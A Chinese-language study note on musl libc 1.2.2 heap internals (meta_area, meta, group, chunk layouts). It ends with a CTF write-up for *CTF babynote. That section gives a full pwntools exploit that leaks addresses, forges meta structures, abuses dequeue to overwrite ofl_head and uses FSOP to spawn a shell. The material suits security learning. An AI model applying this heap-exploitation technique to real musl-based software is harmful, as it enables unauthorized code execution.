musl_libc学习(1.2.2) 前言 1.1.xx的版本已经很老了,估计也不会遇到了,所以这里就不再学习了主要是因为本人太懒了,目前musl-libc已经出到了1.2.5-3了,但是貌似能搜到的题只有1.2.2的,所以学习一下1.2.2的堆管理结构,以及如何利用
(文章内容为个人见解,有错误的话欢迎大佬批评指出)
环境布置 musl-libc是集libc和ld为一体的,所以只要一个libc.so就够了,要调试musl的题,调试符号是必不可少的,但是从其他大佬的博客来看,都是要下载调试符号包,然后加载,本人鼓捣了半天,结果还是加载不出调试符号(可能是操作有误),ubuntu要下载各个版本的调试符号包以及各种包的话可以去官网,这里放个链接
加载调试符号 因为实在加载不出符号调试表,所以直接在源码编译的时候加了调试符号,直接使用带有调试符号的libc.so
1 2 3 4 5 6 7 cd ~/桌面/muslwget https://musl.libc.org/releases/musl-1.2.2.tar.gz tar -zxvf musl-1.2.2.tar.gz cd musl-1.2.2./configure CFLAGS="-g -O0" --prefix=/usr/local/musl-1.2.2 make -j4 sudo make install
之后可以在path to/musl-1.2.2/lib下找到libc.so文件,此文件是加载了调试符号的
muslheap插件 安利xf1les 师傅编写的musl heap gdb 插件
1 git clone https://github.com/xf1les/muslheap.git
安装方法
1 echo "source /path/to/muslheap.py" >> ~/.gdbinit
具体使用方法以及环境要求在read.me文件里有,这里不再赘述,安装好之后就可以使用mheap等调试musl很方便的指令了
patchelf换libc 1 patchelf --set-interpreter /path to your/libc.so ./pwn
编译使用musl的程序 1 2 /path to your/musl-1.2.2/bin/musl-gcc -g test.c -o test patchelf --set-interpreter /path to your/libc.so ./test
编译musl程序,需要用到musl-gcc,上述加载调试符号时编译的源码里就有,因为版本是1.2.2的,所以编译出来的文件也是1.2.2的如果要编译其他版本的elf的话,和上述操作类似,下载一份其他版本的源码,编译好之后用配套的musl-gcc编译即可
堆管理结构学习 musl的堆管理结构和glibc的区别还是挺大的,musl的堆管理结构没有bins,而是通过meta_area管理meta,meta管理group,group管理chunk来实现的,其中__malloc_context又记录着meta的情况以及meta_area的情况,网上很多博客关于此结构已经写的很清楚了,这里主要写一下我自己的见解,放几个链接大家可以参考一下
链接1
链接2
链接3
__malloc_context 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 struct malloc_context { uint64_t secret; #ifndef PAGESIZE size_t pagesize; #endif int init_done; unsigned mmap_counter; struct meta *free_meta_head ; struct meta *avail_meta ; size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head , *meta_area_tail ; unsigned char *avail_meta_areas; struct meta *active [48]; size_t u sage_by_class[48 ]; uint8_t unmap_seq[32 ], bounces[32 ]; uint8_t seq; uintptr_t brk; };
1.active数组中储存着不同大小的meta,分别在对应的位置,如管理大小为0x30chunk的meta在active[2],这些meta通过双向循环链表连接 来
2.avail_meta表示剩余的可用的meta数量,上图为87,如果我没有malloc 0x40大小的chunk的话,上图就不会有active[3],那么avail_meta的数量应该是88
3.free_meta表示已经释放的meta数量,这里为0
4.avail_meta_area表示可用的meta_area,如图表示下一个可用的meta_area的位置是0x653909391000
5.meta_area_head和tail分别指向meat_area链表的头部和尾部,这里因为只有一个meta_area,所以指向相同的地方
1 2 3 4 5 6 struct meta_area { uint64_t check; struct meta_area *next ; int nslots; struct meta slots []; };
1.check和malloc_context中的uint64_t secret
是一样的
2.next是用来维护meta_area链表的,这个结构是通过单链表维护的
3.nslots记录着当前使用的meta数量
4.meta slots[]就是存储着一系列的meta
一般一个meta_area的大小是一页,也就是0x1000,然后前0x18的大小是自身结构,也就是check,next,nslots,之后便是一个一个的meta
1 2 3 4 5 6 7 8 9 struct meta { struct meta *prev , *next ; struct group *mem ; volatile int avail_mask, freed_mask; uintptr_t last_idx:5 ; uintptr_t freeable:1 ; uintptr_t sizeclass:6 ; uintptr_t maplen:8 *sizeof (uintptr_t )-12 ; };
1.prev和next分别指向此meta的上一个meta和下一个meta,通过此结构双向链表的结构连接起来
2.mem记录着此meta对应的group的地址在哪
3.last_idx的数字意味着这个meta最多可以管理几个chunk,[0~last_idx],上图所示的话也就是10个
4.freeable代表这个meta可不可以被释放,1为可以
5.sizeclass代表这个meta管理的chunk的大小,此图是2,和上图的active[2]是对应的,也就是管理的0x30大小的chunk
6.avail_mask和freed_mask都要转变成二进制看:
512的二进制是0b1000000000,意味着我已经申请了9个chunk(对应0)只剩最后一个chunk没有申请了
20的二进制是0b10100,意味着编号为2,4的chunk被free掉了
group 1 2 3 4 5 6 struct group { struct meta *meta ; unsigned char active_idx:5 ; char pad[UNIT - sizeof (struct meta *) - 1 ]; unsigned char storage[];# chunk };
group的前8字节记录着此group对应的meta的地址,active_idx,也就是9,记录着此group管理的chunk的数量
至于pad,还没明白是用来干什么的,有知道的可以佬可以说一下
接着就是chunk里的内容了如图0x6161这些是chunk里的内容
chunk 1 2 3 4 5 6 struct chunk { char prev_user_data[]; uint8_t idx; uint16_t offset; char data[]; };
如0x6538f4fa2ca8的0x0003a1000000000d
其中0003是对应着offset
而a1是chunk的idx
这个程序是我自己编写用来调试的,申请的第一个chunk的idx就是a0,估计是前面的chunk的idx是程序初始化使用了吧
而最后的d,目前没有找到大佬介绍,我自己试着调试了一下,这个值和申请的chunk的大小有关
可以看到上图中的那个位置有d有0有c,位置为d的那个chunk我是malloc(0x1f)得到的,而c的chunk我是malloc(0x20)得到的,如果malloc(0x28)及以上的话,那个位置就是0了,也就是说,这个地方的数字对应着这个chunk还可以再大多少,比如d的那个地方,说明我malloc(0x1f+0xd),也会使用这个chunk,c的位置便是malloc(0x20+0xc),而当malloc(0x29)时,已经覆盖了这个位置,所以就变成0了,也就是说我malloc(0x1d~0x2c)得到的chunk的大小是一样的
类似于glibc中物理相邻的上一个chunk可以使用下一个chunk的psize位,musl中的上一个chunk可以使用下一个chunk的12个字节(也可以说是4个字节,看你怎么理解chunk头吧)对应于0x0003a1000000000d,我可以溢出写成0x0003a100061616161,
chunk可以通过记录的offset找到group,比如位于0xa0的chunk的offset是3,0xb0-(3+1)*0x10=0x70,就找到了group,而group又可以通过记录的meta地址找到meta,以此来管理堆结构
关于malloc和free 我试着写了一下这个逻辑,但是写的不是很清晰,这里直接放个链接,觉得写的很好,总结的很到位,大家可以看这篇文章
链接
题目复现 *CTF babynote 大体思路:
1.泄露libc和pie
2.申请一个大的slot,页对齐,然后伪造meta_arae,meta,group,chunk
3.然后释放chunk,在dequeue过程中利用meta的双向链表指针互写,向ofl_head中写如fake_io的地址
4.然后执行exit,通过fake_io进行FSOP执行system(“/bin/sh”),getshell
(感觉这道题的堆风水好难布置)
这里强推一篇文章,真的超级详细 就是这个 ,我这里就不做过多解释了,这个题貌似因为环境不一样,我用博主的exp不成功,自己按照思路调了一下exp,本地成功了,可能你们用我的exp也成功不了吧
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 from pwn import *context(arch="amd64" , os="linux" ) context.log_level='debug' context.terminal = ["tmux" , "splitw" , "-v" , "-l" , "190" ] libc_base=0x0 heap_base=0x0 pie=0x0 def getshell () : return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' ))r = lambda a : p.recv(a) rl = lambda a=False : p.recvline(a) ru = lambda a : p.recvuntil(a) s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) shell = lambda : p.interactive() li = lambda offset :libc_base+offset lis= lambda func :libc_base+libc.symbols[func] pi = lambda offset :pie+offset he = lambda offset :heap_base+offset l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) ggg = lambda :(gdb.attach(p),pause()) elf=ELF('./babynote' ) libc=ELF('./libc.so' ) def add (name,content ): sla(b'option: ' ,b'1' ) sla(b'name size: ' ,str (len (name)).encode()) sa(b'name: ' ,name) sla(b'note size: ' ,str (len (content)).encode()) sa(b'note content: ' ,content) def find (name ): sla(b'option: ' ,b'2' ) sla(b'name size: ' ,str (len (name)).encode()) sa(b'name: ' ,name) def delete (name ): sla(b'option: ' ,b'3' ) sla(b'name size: ' ,str (len (name)).encode()) sa(b'name: ' ,name) def clear (): sla(b'option: ' ,b'4' ) def esc (): sla(b'option: ' ,b'5' ) def uuu64 (data ): hex_str = data.decode('utf-8' ) if len (hex_str) % 2 != 0 : hex_str = '0' + hex_str bytes_list = [hex_str[i:i+2 ] for i in range (0 , len (hex_str), 2 )] reversed_hex_str = '' .join(reversed (bytes_list)) hex_number = int (reversed_hex_str, 16 ) return hex_number p=process('./babynote' ) for i in range (9 ): add(b'M0' ,b'M0' ) clear() add(b'uaf' ,b'A' *0x28 ) for i in range (9 ): add(b'M1' , b'M1' ) for i in range (10 ): add(b'M2' , b'M2' ) delete(b'uaf' ) add(b'X' , b'X' *0x30 ) find(b'uaf' ) ru(b'0x28:' ) libc_base=uuu64(r(12 ))-0xdea50 r(4 ) pie=uuu64(r(12 ))-0x4fc0 -0xfd0 print (hex (libc_base))print (hex (pie))uaf_name=li(0xdeda0 ) secret=li(0xdbae0 ) payload=p64(uaf_name)+p64(secret)+p64(3 )+p64(0x8 )+p64(0 ) find(payload) find(b'uaf' ) ru(b'0x8:' ) key=uuu64(r(16 )) print (hex (key))ofl_head=li(0xdde68 ) fake_io=pi(0x4850 ) page=li(-0x9000 ) payload=flat( { 0x0 :p64(key), 0x8 :p64(ofl_head-8 ), 0x10 :p64(fake_io), 0x18 :p64(page+0x30 ), 0x20 :p64(0 ), 0x28 :p64(0x1020 ), 0x30 :p64(page+0x8 ), 0x38 :p64(0 ) }, filler=b'\x00' ) payload=(b'\x00' *0xfe0 +payload).ljust(0x1100 ,b'\x00' ) delete(b'M1' ) delete(b'M1' ) add(b'fake_struct' ,payload) payload=p64(pi(0x5f90 ))+p64(page+0x40 )+p64(0x30 )+p64(8 )+p64(0 ) add(b'fake_note' ,payload) delete(b'X' *0x30 ) system=lis("system" ) fake_file = flat({ 0 : b"/bin/sh\x00" , 0x28 : li(0x2000 ), 0x38 : li(0x3000 ), 0x48 : system }, filler=b'\x00' ) add('fake_file' , fake_file) ggg() esc() shell()
关于musl-libc的FSOP利用的调用链 exit:exit->stdio_exit_needed->stdio_exit_needed->close_file
puts:puts->fputs_unlocked->fwrite_unlocked->__fwritex+142(call rax)
具体参考文章:这里 ,对于fake_io的讲解以及dequeue和queue的讲解也挺到位的
babynote本来想试着用puts调用链也做一下的,可是最后伪造meta入队列想要实现任意分配修改stdout结构体时,却因为fake_group中的meta为0,没有写入fake_meta的地址,导致get_meta的时候程序over了,后来尝试了一下,堆风水太麻烦了,就没有继续深究了,感兴趣的可以自己尝试一下
我是菜鸡就不试了
写在最后 musl-libc的学习就到这里了,作为一个轻量化的libc,学习成本也是比较小的,攻击思路也基本就是dequeue和queue以及伪造结构体,由于没有hook函数,所以一般也是利用FSOP攻击,还是比较单一的…